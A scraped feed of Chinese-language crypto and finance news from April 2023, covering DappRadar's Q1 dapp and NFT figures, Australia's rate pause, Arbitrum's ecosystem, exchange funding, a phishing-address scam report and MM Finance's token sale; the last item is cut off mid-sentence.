    来源：《NFT Marketplace War Doubles Trading Volume in First Quarter》by DappRadar 编译：比推BitpushNews Mary Liu 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而，总体情绪仍然乐观，因为加密行业继续展示出弹性。   1. Dapp行业概况 在 dapp 行业经历了一个充满活力的季度之后，与去中心化应用程序交互的每日唯一活跃钱包 (dUAW) 的数量与上一季度相比下降了 9.7%。 平均每天有 1,735,570 个钱包连接到 dapp，尽管有所下降，但某些细分类别和区块链仍显示出增长。 区块链游戏继续占据行业主导地位，Q1平均dUAW为791,474，环比下降8.58%。 该类别在行业中占据 45.6% 的主导地位。 而 DeFi 在 2023 年 Q1 的平均 dUAW 为 399,522，环比下降 14.73%，在 dapp 行业中占据 23% 的优势。 社交 dapp 已成为业界最受欢迎的垂直领域之一。 该类别包括用于社交网络、消息传递和内容创建的所有 Web3 平台，在 2023 年第一季度平均有 210,644 个 dUAW。与上一季度相比，该类别下降了 4.9%，但自 2022 年第三季度以来增长了惊人的 2,250%，社交 dapp 目前占 DappRadar 链上活动的 12%。 区块链方面，BNB Chain 仍是本季度最活跃的区块链，平均 449,543 dUAW，尽管环比下降 28.62%。 其次是Wax，在过去 3 个月中增长了 9%，平均达到 397,273 dUAW。 Polygon 经历了一个强劲的季度，其每日独立活跃钱包数增长了 25.93%，达到每天 197,343 个独立钱包数。 然而，本季度表现最好的是 Arbitrum，增长了 125.83%，平均达到 46,071 dUAW。 我们可以将这种增长归因于 3 月份的 Arbitrum 空投，它激励用户与区块链进行交互。 我们将在下面的几个部分中分析这些数字和 Arbitrum 生态系统。 DeFi 行业在 2023 年第一季度一直备受关注，DeFi 的总锁仓价值 (TVL) 在本季度末达到 833 亿美元。 这比上一季度显著增长了 37.44%，表明人们对去中心化金融的兴趣越来越大。 Arbitrum、Fantom 和 Optimism 等扩展解决方案的流行做出了贡献。 值得注意的是，本季度以太坊的价格上涨了 48%，在撰写本文时达到 1,803 美元。 本季度，推动围绕 DeFi 炒作的主要因素之一是备受期待的 Arbitrum 空投，吸引了交易员的大量关注。 然而，在 3 月 11 日，在 SVB 崩溃和随后的 USDC 脱钩之后，DeFi 市场经历了TVL 大幅下降，从 792.8 亿美元下降 9.6% 至 716.1 亿美元。 这在投资者中造成恐慌，导致大量抛售和 TVL 下降。 幸运的是，在 3 月 13 日，硅谷银行持有的 USDC 准备金存款已完全向公众开放，这有助于稳定市场。 该公告导致 DeFi TVL 飙升 13%，达到 811.5 亿美元，但最重要的是，它帮助市场迅速重获信任，并在整个过程中显示出稳健性。 在 DeFi 领域的顶级区块链协议方面，以太坊以 558 亿美元的 TVL 占据主导地位。 这比上一季度增长了 48.32%，占整个 DeFi TVL 的 66.95%。 BNB Chain 以 20.69% 的增幅位居第二，2023 年第一季度达到 72 亿美元，其中 PancakeSwap 仍然是业内使用最多的 dapp，3 月份 UAW 为 137 万。 Tron 仍然是 TVL 的第三大区块链，价值 52 亿美元，在美国证券交易委员会对孙宇晨和 Tron 基金会的指控中增长了 17.55%（包括对 TRX 是证券的指控）。 尽管如此，TVL 一直保持相当稳定。 Arbitrum 和 Optimism 保持了他们在 TVL 区块链前 10 名中的地位，并且他们的主导地位继续增加。 Arbitrum 是本季度表现最好的项目之一，增长了 118.40%，达到 32 亿美元。 本季度Optimism 达到 10 亿美元，比上一季度增长 85%。 这表明 Layer-2 解决方案在 DeFi 领域越来越受欢迎。 令人惊讶的是，Solana 的 TVL 增长了 127.05%，达到 7.91 亿美元。 这一增长似乎是由最近推出的 DAO 构建工具 SPL Governance 推动的，该工具的 TVL 已经达到 1.7975 亿美元。 此外，Solana 的代币 SOL 本季度也增长了 115%。 3月23日，备受期待的Arbitrum代币空投发生，引发加密社区狂热。 以太坊第二层扩容解决方案向超过 600,000 名用户分发了超过 10 亿个 ARB 代币，使该代币的市值稳定在 15 亿美元附近。在 Claims 和 Trading 模式开启之间，3 月 23 日的日交易量为 2,728,907，超过了 Ethereum 或 Optimism。 虽然该代币的价格在发布当天达到 11.80 美元的最高点，但此后一直稳定在 1.23 美元左右，目前的市值使其领先于最接近的竞争对手 Optimism。 除了个人用户，ARB 代币还将分发给生态系统中最成功的去中心化应用程序 (dapps)。 最近几个月，Uniswap、Aave 和 OpenSea 等流行的 Web3 公司已经转移到 Arbitrum，利用它与以太坊区块链架构的相似性。 Arbitrum 上最成功的项目之一是去中心化交易所 (DEX) GMX，它允许其用户通过称为永续期货的金融工具进行杠杆交易。 此外，GMX 已将自己定位为 Arbitrum 的 DeFi 领域的领导者，占所有 TVL 的 80% 以上。 区块链上还有专门用于游戏和 NFT 的 dapp，Treasure 迅速成为业内著名的 Web3 游戏工作室。 Arbitrum 的代币分发不仅限于用户和 dapp，还通过 DAO 分发给社区。 Arbitrum 基金会旨在去中心化其网络，让社区能够控制其生态系统和技术。 这次空投和 DAO 只是其为所有子社区提供发言权的众多计划中的一小部分。 需要注意的是，所有投资人和团队代币都有四年的锁定期，第一次解锁发生在一年内，其余三年每月解锁一次。 Arbitrum 作为以太坊可扩展性解决方案的潜力是不可否认的，空投和 ARB 代币可以帮助它取得重大进展。 然而，用户必须保持谨慎，避免成为网络钓鱼诈骗和其他欺诈的受害者。 社交 dapp 正在成为区块链行业的新趋势，越来越多的去中心化应用程序被开发出来以促进用户之间的社交互动和协作。 这些 dapps 利用区块链技术来确保数据隐私、安全和透明度，并提供用户配置文件、消息系统和内容共享功能等功能。 Hooked 是领先的社交 dapp 之一，它是一款基于 BNB 的 dapp，在 2023 年第一季度平均每天有 120,584 个唯一活跃钱包 (dUAW)。Hooked 是一种社区驱动的社交协议，提供游戏化体验并集成了钱包和去中心化标识符（ DIDs）进入其生态系统。 Galxe 是另一个流行的社交 dapp，拥有 39,953 个 dUAW，旨在构建一个开放和协作的凭证数据网络，供 Web3 中的所有开发人员访问。 拥有 30,407 dUAW 的 CyberConnect 是一种去中心化的社交图谱协议，使用户能够在 BNB Chain 上创建个人资料作为其去中心化身份的锚点。 Lens Protocol 平均拥有 3,146 个 dUAW，为去中心化社区提供了一个平台来创建和管理自己的治理机制。 最后，拥有 2,405 dUAW 的 Phi 是一个基于 ENS 和链上/链下钱包活动的社交平台，可实现链上身份的可视化。 社交 dapp 的出现是区块链行业的重大发展，因为它代表了向 web3 和数据所有权的转变。 这些 dapp 为用户提供了对其数据的更大控制权，并使他们能够以去中心化和安全的方式进行交互和协作。 随着行业的不断发展，我们可以期待看到更多社交 dapp 的出现，并进一步改变我们在线互动和交流的方式。 NFT 市场今年开局不错，2023 年第一季度是自 2022 年Q2以来最好的一个季度。尽管 3 月份交易量略有下降，但整体表现亮眼。 NFT 市场在第一季度的交易量增长了 137%，总价值达到 47 亿美元。 在 2 月份因 Blur 代币而膨胀后，3 月份的交易量下降了 15.65%。 3 月份 NFT 销量仅下降 4.63%，售出 270 万个 NFT。 然而，2023 年第一季度 NFT 总销量为 1940 万，比 2022 年第四季度增长了 8.56%。 按数量计算，以太坊仍然是 NFT 市场的主导区块链，占 3 月份市场份额的 89.50%。 此外，与 2022 年第四季度相比，以太坊的季度交易量在 2023 年第一季度增长了 245.43%，达到 41 亿美元。 CryptoPunks 是以太坊上交易量最大的 NFT 系列，交易量为 2.41 亿美元，环比增长 1,214%。 2023 年 3 月，Yuga Labs 的 NFT 收藏量在以太坊上占据主导地位，占以太坊上 NFT 总量的 38.61%，占整个 NFT 行业的 34.55%。 令人意外的是，Solana 以 2.42 亿美元的交易额位居第二，环比增长 4.55%。 NFT 合集 Monkey Kingdom 在 3 月份推动了 Solana NFT 协议，交易量达到 790 万美元，比 2 月份翻了一番。 早在 12 月，Solana 上两个最受欢迎的 NFT 系列宣布它们将成为连接以太坊和 Polygon 的桥梁，3 月 27 日，DeGods 和 y00ts 的联合创始人之一宣布在 Polygon 上首次销售 y00ts，这标志着其中一个系列的桥接成功。 此外，Polygon 今年开局良好，3 月份的交易量为 2980 万美元，尽管比上月下降了 24.20%。 然而，从季度数据来看，它在 2023 年第一季度的交易量为 8500 万美元，环比增长了 125.04%，是 2021 年第四季度以来最好的季度之一。 最近几个月，Polygon 在 NFT 创作者中的受欢迎程度一直在上升。 这是因为与其他区块链相比，它的费用低且交易时间快，这使其成为那些希望推出和交易 NFT 的人的一个有吸引力的选择。 除此之外，3 月 8 日，加密货币交易所 Binance 宣布推出 Binance NFT，Polygon 网络已被纳入其市场支持的区块链中。 总体而言，2023 年Q1，NFT市场整体表现可圈可点，环比增长137.04%。 以太坊的霸主地位和 Polygon 的日益普及成为一季度 NFT 市场表现的主要亮点。 NFT市场正在迅速发展，随着新玩家的出现。 2023 年第一季度，Blur 主导了 NFT 市场，交易量和市场主导地位增加。 该市场的交易量为 27 亿美元，比 2022 年第四季度增长了 783.89%，市场支配率为 57.44%。 3 月份，尽管交易量下降 6.56% 至 12 亿美元，但 Blur 仍占据市场 70.5% 的主导地位。 Blur 的崛起归功于其独特的功能和产品。 专业交易员涌向 Blur 的重要原因之一是它向用户承诺，它将通过未来的 BLUR 代币空投来奖励他们，在下一个赠送“季节”期间总计约 3 亿个 BLUR。 该代币的完全稀释市值为 25 亿美元，Blur 团队非常愿意发挥其财务影响力来吸引 NFT 交易者坚持使用他们。 另一方面，曾经是 NFT 市场领导者的 OpenSea 现在面临来自 Blur 的激烈竞争。 2023年Q1，OpenSea录得68.41%的季度增幅，交易额达14亿美元，市场占有率达31.10%。 然而，在 3 月份，OpenSea 的交易量下降了 35% 至 3.81 亿美元，其市场支配地位为 22%。 这是自 2021 年 2 月以来最小的市场份额。 CryptoPunks NFT 系列的本地市场成为 3 月份表现最好的 NFT 市场之一，交易量达到 3000 万美元。 该市场比上个月增长了 90.46%，是自 2022 年 7 月以来的最高金额。 值得一提的是，CryptoPunks 目前正在 Blur 市场上进行大量交易活动。 根据最近的数据，在 Blur 上发生了 CryptoPunks 总交易量的惊人 87%，达到了惊人的 2.16 亿美元。 更有趣的是，Blur 上的平均交易规模比 CryptoPunk 原生 NFT 市场低 7.34%，平均交易规模为 114,453.69 美元。 虽然 Blur 的崛起令人印象深刻，但市场需要谨慎对待其如何管理其用户群和感知其忠诚度。 更重要的是，需要考虑 Blur 崛起对其他领域的主导地位所产生的连锁反应。 NFT 世界应该庆祝这样一个事实，即有这样一个专注且富有创造力的平台致力于满足交易者的需求。 尽管如此，当一个市场或用户的繁荣以另一个市场的直接或间接损失为代价时，大问题可能会开始浮现。 Blur 声称 OpenSea 是 NFT 生态系统中的一个中心化对手，但让一群只有几百个 NFT 巨鲸来支付版税和市场主导地位也不是最去中心化的系统。 Web3 生态系统需要确保其创新并满足该领域每个人群的需求，而不仅仅是专业交易者。 与其让他们想知道哪个平台会以何种方式兑现他们作品的版税，不如有一种去中心化的方式让艺术家和项目负责人自己控制。 总之，Blur 在 2023 年第一季度崛起成为 NFT 市场的主导地位令人印象深刻。 然而，NFT 生态系统需要确保它能够满足该领域每个人群的需求，而不仅仅是专业交易者。 重点需要放在生态系统的长期增长和可持续性上，而不仅仅是短期收益。 根据 REKT Database 的数据，2023 年第一季度因黑客攻击和漏洞利用而损失的资金总额为 3.73 亿美元，与上一季度的 50 亿美元相比大幅下降 92.60%。 然而，这并不意味着加密市场完全没有安全问题。 第一季度发生的最著名的黑客攻击之一是对 Euler Finance 的攻击，导致数百万美元的各种加密货币被盗。 攻击者窃取了近 1.96 亿美元，包括 DAI、USD Coin、StETH和 Wrapped Bitcoin (WBTC)。 该攻击是通过闪电贷攻击进行的，该攻击利用多链桥将资金从 BNB 智能链转移到以太坊。 资金随后被存入加密混合器 Tornado Cash，使得追踪和追回被盗资金变得困难。 根据 BlockSec 的一条推文，Euler 漏洞利用者于 3 月 25 日向 Euler Finance 返还了 51,000 ETH。 然而，部分赃款仍留在黑客手中。 第一季度发生的另一个重大黑客攻击是 BonqDAO 和 AllianceBlock 漏洞利用，攻击者操纵 BonqDAO 价格预言机来提高 WALBT 价格。 这种操纵使攻击者可以铸造超过 1 亿 BEUR，然后用于操纵 WALBT 价格并清算多个资金库， 攻击者能够提取非法收益，共计 1.138 亿 WALBT 和 9800 万 BEUR，价值超过 1000 万美元。 有趣的是，第一季度发生的黑客攻击有一半以上发生在 BNB Chain上，其中 18.2% 发生在以太坊上，9.1% 发生在 Polygon 上。 这凸显了在这些链上加强安全措施的必要性，以及用户在进行交易时要格外警惕。 值得注意的是，2023 年 1 月是黑客攻击最少的月份之一，总共损失了 1460 万美元。这可能是一个积极的迹象，表明该行业正在更加重视安全问题，并且实施更好的措施来防止黑客攻击和漏洞利用。 过去几年，区块链游戏行业一直在稳步增长，2023 年前 3 个月也不例外。 尽管 3 月份与游戏 dapp 进行链上交互的每日独立活跃钱包 (dUAW) 略有下降，但该行业在过去一个季度的主导地位总体上有所上升。 3月，与游戏dapp链上交互的日独立活跃钱包数为741,567，环比下降3.33%。 从季度表现来看，环比下降8.58%，平均连接865,783 dUAW。 尽管这些数字可能看起来令人失望，但必须考虑到该行业仍然相对较新并且在不断发展。 2023 年第一季度，区块链游戏呈现出增长的看涨迹象，主导地位从 2022 年第四季度的 42.87% 增加到 2023 年第一季度的 45.60%。这意味着尽管 dUAW 数量减少，但区块链游戏成为更大的一部分 Web3 生态系统的一部分。 硅谷银行 (SVB)最近的倒闭引发了一场关于稳定币监管必要性的讨论。 稳定币是由储备资产（通常是美元）支持的数字货币，旨在保持稳定的价值。 由 Circle Financial 发行的USDC是 1000 亿美元以上稳定币市场的领导者之一。 然而，当 SVB 倒闭时，Circle 透露其在关闭的银行中有 33 亿美元的存款，导致该稳定币在大约三天内低于 1 美元的挂钩汇率，低至 88 美分。 该事件凸显了一个事实，即稳定币市场迫切需要一套道路规则。 虽然 Circle 和其他稳定币声称为他们铸造的每一数字美元持有 1 比 1 的抵押品，但 Circle 持有 110 亿美元 的未保险银行账户，这些账户并不像想象的那样安全。 另一方面，Tether 公开承认其数十亿的稳定币储备以公司债券、担保贷款、贵金属甚至其他加密货币的形式持有。 在经历了充满活力的 2023 年第一季度之后，dapp 行业经历了相当大的起伏。 尽管如此，链上指标和市场趋势表明，加密空间仍有望增长，未来依然光明。 与上一季度相比，2023 年第一季度与 dapp 进行链上交互的每日唯一活跃钱包 (dUAW) 减少了 14.07%。 然而，尽管有所下降，DeFi 锁仓总价值 (TVL) 仍增加至 833 亿美元，显示了去中心化金融领域的弹性。 与此同时，NFT 市场在 2023 年第一季度表现强劲，交易量增长 137.04% 至 47 亿美元，为 2022 年第二季度以来的最高水平。尽管 3 月份略有下降，但 NFT 继续吸引投资者和收藏家的关注。 2023 年第一季度的一个显著趋势是区块链游戏的主导地位日益增强，目前占所有链上活动的 45.60%。 ImmutableX 和 Polygon 等平台在游戏领域处于领先地位，它们的合作伙伴关系和创新正在为 Web3 游戏的未来铺平道路。 然而，加密空间并非没有挑战。 2023 年第一季度，由于黑客攻击和漏洞利用，损失了 3.73 亿美元的资金。 这比上一季度的 50 亿美元大幅下降了 92.60%，显示了区块链生态系统的弹性和适应性。 硅谷银行的倒闭也凸显了稳定币监管的必要性。 随着越来越多的传统金融机构进入加密领域，我们必须制定明确的指导方针和法规，以确保市场的稳定和安全。 尽管存在这些挑战，但加密货币市场的整体情绪是乐观和看涨的。 2023 年第一季度展示了区块链生态系统的弹性和适应性，链上指标和市场趋势表明未来依然光明。  ( 8 min )
    10连加息结束！一文读懂：为何澳暂停加息对全球影响重大？
    财联社4月4日讯（编辑 潇湘）在此前连续十次议息会议宣布加息之后，澳洲联储本周二（4月4日）终于如市场预期，停下了继续加息的脚步——澳洲联储在今日决议中将政策利率维持在了3.6%的高位水平。 尽管澳洲联储并非是本轮加息周期中首个暂停加息的主要发达国家央行——加拿大央行在上个月已经率先采取了按兵不动的举措，但该联储仍是欧美银行业危机爆发后，首个作出这一转变的央行。 而在一些业内人士看来，今日澳洲联储的利率决定和明日新西兰联储的议息会议，对全球市场而言，可能也有着至关重要的指示性意义。 加拿大皇家银行(97.58,2.00,2.09%)悉尼分行的宏观利率策略师Robert Thompson在今日澳洲联储决议出炉前就表示，全球将密切关注澳洲联储和新西兰联储作为“煤矿中的金丝雀”的潜在预警作用。 他当时就预计澳洲联储在周二的会议上将暂停加息，同时新西兰联储明日预计将会把加息幅度放缓至25个基点，但如果新西兰联储也意外地跟随澳洲联储地维持利率不变，将引发全球债券市场的大幅上涨。 Thompson表示，“新西兰联储通常更加领先于全球周期。澳洲联储的做法则通常更为保守，如果他们都暂停加息，这很可能是出于天生的谨慎嗅觉，同时对全球其他地区也并非是一个良好信号。” 以下是业内人士认为的澳洲两大央行本周决策的四点重要意义： 早在2021年，新西兰联储便率先成为了最早采取加息行动的发达经济体央行，当时美联储甚至仍在暗示通胀将是暂时性的。而在今年，澳洲联储的转变也极为具有指示性意义。2月正是澳洲联储的鹰派言论为当月的全球债券市场抛售拉开了序幕，随后在上个月的银行业危机中，市场对利率预期暴跌，澳洲联储今日又率先转向了另一个方向。 市场对澳洲联储未来利率定价的转变，堪称是全球主要发达经济体央行中最大的。利率市场现在的定价是，本轮澳洲联储的加息周期就将在目前3.6%的水平结束。而相比之下，2月时的峰值利率定价还一度超过了5%。显然，在主要发达经济体中，澳洲联储利率路径对金融市场情绪的变化展现出了最大敏感性。 目前，全球国债收益率曲线倒挂的现象其实已比比皆是，收益率曲线的倒挂反映了各国经济陷入衰退的风险大增。然而，澳洲国债其实是目前少有的并未呈现大面积倒挂的地方，这自然也预示着澳洲经济眼下可能尚无衰退之忧。但这无疑也抛出了一个问题：无衰退之忧的澳洲联储都暂停了加息，经济下行压力更大的欧美央行又还能撑多久？ 在过去一年爆发的所有三次全球债市反弹行情中，澳洲国债都堪称是引领者，但每次当央行继续致力于加息时，多头们都崩溃了。而这一次，澳洲联储终于停下了加息的脚步，这无疑也将鼓舞全球债市多头们的信心。无论是澳大利亚还是新西兰债券，它们中的很大比例都由海外投资者持有，南太平洋的利率政策冲击可能在本周波及全球。  ( 1 min )
    加密交易平台Bitget获得Dragonfly 1000万美元战略投资
    PANews 4月4日消息， 据PR Newswire报道，总部位于旧金山的加密风险投资公司Dragonfly Capital宣布对加密衍生品交易所Bitget进行1000万美元的战略投资。这笔投资将支持Bitget正在进行的全球市场和服务范围的扩张，以及开展更多加密资产相关的公益教育行动。 Bitget的董事总经理Gracy Chen 表示：“Bitget作为过去12个月增长最快的交易所，这项投资是对我们在熊市中专注建设的认可。除了资金上的支持，我们更看重Dragonfly在加密领域的专业和经验。同时，其庞大的投资组合也有助于我们构建覆盖从CeFi到DeFi的加密生态。” 此前消息，Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权。  ( 1 min )
    Layer2百链大战中，为什么Arbitrum能脱颖而出成为龙头？
    原文：《Arbitrum：惊人的Layer2速度》 作者：Ebunker 以太坊 Layer2 解决方案的发展势头仍然强劲，以太坊 2.0 已经承诺了可扩展性的保证。这表明在以太坊未来中，Layer2 解决方案的重要性广受认可。在加密货币中，「更快的速度」总是受欢迎的，而 Layer2 解决方案将提供更多速度。本文将介绍其中一种备受关注的 Layer2 扩展解决方案：Arbitrum。 Arbitrum 是一个基于 Optimistic Rollups 的 L2 区块链。它由 Offchain Labs 在 2021 年开发。Offchain Labs 由一组由世界级的区块链研究人员和软件工程师组成的团队创立，包括 Steven Goldfeder（首席执行官）、Harry Kalodne（首席技术官）和 Ed Felten（首席科学家）。 Arbitrum 运行两条并行的链：一条 Roll-up 链称为「Arbitrum Nitro」，另一条 AnyTrust 链称为「Nova」。Arbitrum Nitro 遵循 Optimistic Rollup 的特征操作，即将交易数据捆绑到以太坊链上进行存储。 而 Nova 则依靠第三方称为外部数据可用性委员会存储交易数据，并根据需求进行产生。通过避免将交易数据捆绑到以太坊链上，交易费用大大降低。Nova 最适合游戏项目、DApps 和社交项目。Arbitrum 链的一个显著特点是其惊人的速度。Arbitrum 链的处理速度可以达到每秒 40,000 笔交易。 Arbitrum 运行一个虚拟机（Arbitrum Virtual Machine），它与以太坊虚拟机（EVM）上的编程语言（如 Solidity 和 Vyper）兼容。这对于以太坊开发人员来说非常有吸引力，因为他们无需重写代码就可以在 Arbitrum 链上部署其应用程序。这使得 Arbitrum 比其他 Optimistic Rollup 解决方案如 Optimism 更具优势。 相比之下，Optimism 虚拟机（OVM）仅支持 Solidity 编程语言，从而限制了它与以太坊虚拟机的兼容性。因此，在 OVM 上，一些 EVM 兼容的交易可能无法正确编译。这使得 Arbitrum 成为大多数寻求在更可扩展的平台上部署其以太坊 DApps 在以太坊网络上，Layer2 扩容技术已经成为了热门话题。Arbitrum 是其中一个备受关注的技术，它使用了多轮欺诈证明（或交互证明）来解决验证者提出的挑战。相比其他 optimistic rollups 技术，如 Optimism，Arbitrum 使用的是多轮证明，而非单轮证明。 在单轮证明中，整个断言或交易块将重新计算以验证其内容是否有效。而在多轮欺诈证明中，只有有争议的交易会被重新计算，这需要更少的工作量，因此消耗更少的 gas 费用，是两者中最受欢迎的技术。 此外，Arbitrum 还涉及到去中心化治理。最近在 2023 年 3 月 23 日，Arbitrum 进行了空投，并成立了 Arbitrum DAO（去中心化自治组织）。持有 $ARB 代币的 DAO 成员将能够参与 Arbitrum 链的治理，即他们可以使用 $ARB 代币投票决定直接影响 Arbitrum 链的政策。需要注意的是，这些代币仅用于治理目的，以太坊仍然是交易的默认货币。 Arbitrum 为此推出了 AIP。它的目标是建立一个去中心化的治理系统，鼓励社区成员参与到政策制定中来。通过给代币持有人在平台发展中的发言权，AIP-1 旨在增强 Arbitrum 社区的参与度和互动性。 然而，与其他新倡议一样，Arbitrum 社区在推动 AIP-1 的批准过程中遇到了一些问题。但是，Arbitrum 基金会已经发表了详细的解释。同时，基金会还解决了社区提出的两个重要问题：首先，他们确认没有出售 5000 万 $ARB 代币；其次，他们提供了 750 万 $ARB 代币最初分配的详细原因。 我们都知道目前建立 DAO 面临许多障碍，其中一个难题就是「先有鸡还是先有蛋」的困境。为了解决这个问题，AIP-1 希望通过让社区参与到初步选择和架构中来，来展示代币持有人的支持，从而引导平台的发展方向。 Arbitrum 的原生代币 ARB 用于治理。Arbitrum 的开发人员 Offchain Labs 已经宣布过渡到去中心化自治组织（DAO）结构 — — Arbitrum DAO。ARB 持有人有能力决定影响功能、协议升级、资金分配和安全委员会选举的想法。 Arbitrum 有雄心勃勃的 2023 年计划，其中包括以下内容：推出自己的 Layer3 解决方案 Orbit；允许开发人员使用 Stylus 部署使用流行编程语言（如 Rust、C++ 等）编写的程序；引入一个新的第四层解决方案 Orbit。增加其验证器集中独立机构验证器的数量；Arbitrum One 正在将其协议迁移到 Layer2。 截至撰写本文时，ARB 的交易价格为 1.3 美元，全球市值为 15.7 亿美元，全球交易量为 27.8 亿美元，流通供应量为 12.75 亿枚 ARB，总供应量为 100 亿枚 ARB。 目前，Arbitrum 是以太坊网络中最大的 Layer2 链，其总锁定价值（TVL）超过了 Optimism 和 Polygon 的总和，也超过了 Avalanche 和 Solana 等大型 L1 玩家。许多以太坊知名项目都已经部署在了 Arbitrum 上，包括 Uniswap、Sushi 和 Aave 等。 社交媒体巨头 Reddit 在 2021 年 7 月宣布，将利用 Arbitrum 技术来扩展其社区点奖励计划。未来，我们很可能会看到更多主流机构采用 Arbitrum 技术。 Arbitrum 生态中有很多有趣的项目，除了从以太坊迁移过来的 Uniswap，AAVE 之外，还有包括 GMX、Treasure DAO、Radiant 和 Camelot 等。本文将介绍其中的四个代表项目。 GMX 是一个去中心化永续协议，允许用户可以获得 30 倍杠杆，成为真正的去中心化衍生品交易所。该协议依靠 GLP 作为资金池，提供的交易滑点非常低，成为 Arb DeFi 生态的重要组成部分。 Treasure DAO 是一个去中心化游戏平台，允许建设者使用 $MAGIC 作为储备货币，在平台上推出游戏。Treasure DAO 旨在解决 GameFi 游戏的代币经济学问题，通过让多个游戏插入 $MAGIC 作为基础货币，为代币提供更多的实用性。 Radiant 和 Camelot 则是诞生于 Arbitrum 上的原生 Lending 和 DEX 模块，分别对标 AAVE 和 Uniswap，而它们的不同点在：Radiant 希望通过更好的「跨链兼容」来允许更方便的借贷，而 Camelot 则通过对 IEO 模块的投入，帮助更多新项目走向曝光。 Arbitrum 充分利用了以太坊的安全性和兼容性，同时也具有更高的吞吐量和较低的交易费用，这得益于将大部分计算和存储负载转移出去。以上四个项目都是 Arbitrum 生态系统中的代表性项目。 以太坊的非托管 Staking 平台 Ebunker 创始人 Allen 评价 Arbitrum 说：「Arbitrum 提供了和以太坊同级别的安全性，又提供了和其他竞争 L1 相媲美的性能，其实是变相突破了不可能三角。这必定会带来大量当年因以太坊 L1 性能不足，而外溢到其他 L1 的项目的大回流。」 值得一提的是，Arbitrum 的 TVL 仍然在不断提升。Arb 上的 DeFi 项目，都有可能成为未来 DeFi 的新黄金标准，让我们拭目以待 Arbitrum 未来生态的发展。  ( 3 min )
    SPACE ID宣布推出2.0版本，包含礼品卡等四大功能
    PANews 4月4日消息， Web3身份平台SPACE ID宣布推出2.0版本，Beta版已成过去。SPACE ID 2.0包含Referral Program、SPACE ID礼品卡、推荐计划（Referral Program）、SPACE ID Voyage Program四大功能。BNB Chain 和 Arbitrum现已支持SPACE ID礼品卡。兑换的积分可用于抵消.bnb或.arb域名注册和延期期间的费用。此外，SPACE ID 2.0市场费用调整为1.5%。  ( 1 min )
    法庭文件：Voyager和Binance.US的法律争议需在4月13日之前解决
    PANews 4月4日消息， 据CoinDesk报道，根据周一提交的法律文件，如果美国政府提出的法律异议未能在4月13日之前得到解决，Voyager公司及其债权人将损失1亿美元。 这家破产的加密货币贷款机构正在采取紧急法律行动，让Binance.US以10亿美元的价格将其收购，该公司担心围绕此次收购的持续争论可能导致该交易所退出。Voyager债权人在一份文件中称：在4月13日之前完成该计划对于维护巨大的债权人价值是必要的，如果交易未能完成，Voyager的债权人将损失大约1亿美元的价值。  ( 1 min )
    数据：某匿名零转账骗局攻击者从一笔交易中窃取约85万USDT
    PANews 4月4日消息， 据派盾（PeckShield）监测显示，某匿名零转账骗局攻击者从一笔交易中获利约85万USDT。钓鱼伪装地址为：0xEB40342d0F7A5a0AACEFBb9A32C9D2e22184683d，受害者原本的转账目的地地址为：0xEb40342d42967A70066EfDB498c69Fd8B184683D。  ( 1 min )
    MM Finance超募364倍，多链项目是否应该发行新的Token？
    Arbitrum空投带来的造富效应并未消退，4月3日，MM Finance在Arbitrum上线，公募预计融资50万USDC，实际参与的资金高达1.82亿USDC，超募364倍。MM Finance最初建立在Cronos上，是当时Cronos上除VVS Finance以外最大的项目，原生代币MMF也上线了Crypto.com交易所。之后，MM Finance部署到Polygon并发行了新的Token，此次也不例外，又在Arbitrum上又发行了Token并进行融资。 MM Finance的融资争议 MM Finance一个项目在多条链上发行Token的做法在社区中受到了一定的诟病。通常，主流DeFi项目向其它链上扩张时，并不会发行新的Token，如Uniswap、Aave、Pancakeswap等。 但对于小型项目，发行新的Token就像指环王中的魔戒一样，对项目的开发团队有着难以抵抗的吸引力。如果没有新的Token，以原来的估值计算市值已经极低，且大多数Token都已经分配出去，抛压极大，原来的工作反而成为项目继续扩张的负担。 如果将Arbitrum上的MM Finance当成一个新的项目，和其它项目相比，考虑到团队有1年以上可追溯的开发经历，仅在Cronos的MM Finance生态中，除了DEX之外，还有收益优化器MM Optimizer、稳定币项目Savanna Finance、去中心化ETF项目METF Finance，发行有多种Token。一年以前，MM Finance因为前端攻击，导致用户损失了少量资金，但后来官方进行了赔付。项目经过慢雾、Certik、Paladin在内的多家安全机构的审计。在安全性上，以上背景可能会让人更加放心。 MM Finance Arbitrum原生代币MMF最大供应量为5亿枚，初始流通1250万MMF，白名单和公募分别销售250万MMF，发行价格为0.2美元。对应FDV为1亿美元，流通市值250万美元。MM Finance在本次活动中总共融资100万美元，其中80%用于添加MMF/USDC交易对的流动性，项目方在本次代币销售中的利润为20万美元。 Arbitrum上项目的融资与估值可能不合理，但近期受到追捧已经成为常态，如指数产品Arbitrove，以7000万美元的估值在Camelot上融资1400万美元。截至4月4日，Arbitrove的主要产品——Arbitrum指数代币的发行量仅280 ALP，且最近两周链上没有一笔ALP的转移记录，但该项目治理代币TROVE的FDV仍然有3389万美元，流通市值1018万美元。 和Arbitrum上其它DEX相比，Arbidex TVL 7841万美元，FDV 8760万美元；Zyberswap TVL 4334万美元，FDV 5246万美元。ZYBER市值最高时约为4.5亿美元，考虑到现在MM Finance正式上线不到24小时，MMF目前价格0.32美元，TVL 5128万美元，在MMF/USDC交易对流动性挖矿的APR高达1600%的情况下，目前的FDV可能偏高，但和其它项目相比并不算离谱。 MM Finance在Arbitrum上发行新Token会受到热捧也是有迹可循的，在去年8月迁移到Polygon上发行新的Token并进行融资时，同样超募上百倍。在本次宣布迁移到Arbitrum后的48小时内，MM Finance就收到了超过1100份白名单申请。 类似的解决方案：代币增发 几乎所有的项目在进行代币设计时，都会将释放集中在前面一段时间，最终在几年时间里完全释放。而当没有新的代币可以支撑项目运营的时候，除了发行另一种代币，一些项目也会进行增发。 如2020年7月，借贷龙头Aave在将原有的代币LEND转换为AAVE时，增发了23.08%；2021年初，Yearn通过治理决定在原有3万枚YFI的基础上，增发6666 YFI；2022年底，已经被Alameda收购的Ren Project团队也通过治理投票，决定铸造新的REN代币来支撑Ren 2.0的开发工作。 发行新的代币和代币增发本质上都是对原有的代币持有者权益的稀释，但也有利有弊，也可以帮助项目更好的进行扩张。 在此之前，MM Finance在Cronos上的TVL为1000万美元，在Polygon上的TVL为257万美元。通过发行新的Token，MM Finance Arbitrum在一天内TVL已经达到5128万美元，实现了数倍的扩张。 借用一张因为Arbitrum空投而在社区中广泛传播的图，在MM Finance的多链策略中，MM Finance团队通过发行新的Token进行激励，从而获得大量的流动性，实现在其它链上的冷启动；信任MM 